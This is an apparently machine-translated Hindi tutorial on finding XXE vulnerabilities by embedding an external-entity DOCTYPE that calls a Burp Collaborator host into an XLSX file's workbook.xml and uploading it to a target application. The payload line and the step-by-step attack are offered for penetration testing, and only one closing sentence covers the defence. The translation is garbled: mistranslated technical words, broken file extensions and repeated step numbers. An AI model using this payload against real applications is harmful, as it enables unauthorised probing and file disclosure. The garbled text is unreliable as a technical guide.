एक्सएमएल एक्सएमएल एक्सटीशनल एंटिटी (XXE) की असुरक्षा यह है कि एक्सएमएल डॉक्युमेंट स्ट्रक्चर को पार्स करते समय, जिसे डॉक्युमेंट टाइप डेफिनेशन (डीटीडी) कहा जाता है, तो आपको अपनी एक्सएमएल संस्थाओं को परिभाषित करने की अनुमति है। सर्वर-साइड एक्सएमएल प्रोसेसिंग इंजन और पर्यावरण के विन्यास के आधार पर, इस प्रकार की भेद्यता का अलग तरह से दोहन किया जा सकता है। सिस्टम पर लिस्टिंग निर्देशिका के साथ शुरू, आवेदन और सिस्टम फ़ाइलों को पढ़ने, आवेदन उपयोगकर्ता का एक एन्क्रिप्टेड पासवर्ड प्राप्त करने के साथ ही सर्वर या क्रियांवित प्रणाली आज्ञाओं के लिए फ़ाइलों को स्थानांतरित ।
इस प्रकार की भेद्यता का क्लासिक परिदृश्य यह मानता है कि हम अपने शरीर में एक अनुरोध से निपट रहे हैं, जिसके लिए हम अपनी इकाई की परिभाषाओं के लिए जिम्मेदार हिस्सा जोड़ते हैं। हालांकि, यह भेद्यता एक एप्लिकेशन से निपटने के दौरान भी हो सकती है जो किसी भी तरह एक्सेल फ़ाइलों को संसाधित करती है। XLSX, वर्ड । डॉक्स या पावरपॉइंट । पीपीपीटीएक्स। हम इस तथ्य के ऋणी हैं कि इस प्रकार की फाइलें जो ओओक्सएमएल-अनुपालन हैं, इस प्रकार वे बस कई फाइलें पैक की जाती हैं। एक्सएमएल।
त्वरित हमले परिदृश्य इस प्रकार है:
- एक नया खाली दस्तावेज बनाएं । एक्सएलएसएक्स। यह इस उद्देश्य के लिए "गूगल शीट" का उपयोग कर सकते हैं।

2. ओपन बर्प सुइट प्रोफेशनल-> बर्प-> बर्प सहयोगी क्लाइंट । इसके बाद "क्लिपबोर्ड की कॉपी" बटन पर क्लिक करें। मेरे मामले में, सर्वर का पता इस प्रकार था – lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net।
वैकल्पिक रूप से, यदि आपके पास बाहरी आईपी है, तो आप अजगर में एक साधारण HTTP सर्वर का उपयोग कर सकते हैं – "पायथन3 -m http.सर्वर 8080"।
3. डाउनलोड की गई फाइल को 7ज़िप से खोलें।

3. निम्नलिखित कोड जोड़कर "एक्सएल" निर्देशिका में "वर्कबुक.xml" फ़ाइल को संपादित करें (निश्चित रूप से, सर्वर पते को अपने साथ बदलें):
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> % xxe; ]>
नोट- मैंने जिन अनुप्रयोगों का परीक्षण किया है उनमें से एक में, भेद्यता xxe को "[Content_Types] .xml" संपादित करने के बाद पता चला है, इसलिए यह इस फ़ाइल की जांच करने लायक है।


4. अपने बदलावों को सहेजें और उस ऐप में फाइल अपलोड करें, जिसे आप टेस्ट कर रहे हैं।
5. अब किसी भी अनुरोध के लिए सहयोगी ग्राहक की जांच करें:

6. 🙂 का आनंद लें – आपने परीक्षण किए गए आवेदन में xxe भेद्यता की पुष्टि की है और आप इसके उपयोग को आगे बढ़ाने के लिए आगे बढ़ सकते हैं।
XXE के खिलाफ एक आम सुरक्षा सुविधा एक्सएमएल पार्सर में बाहरी संस्थाओं की लोडिंग को पूरी तरह से अक्षम करना है।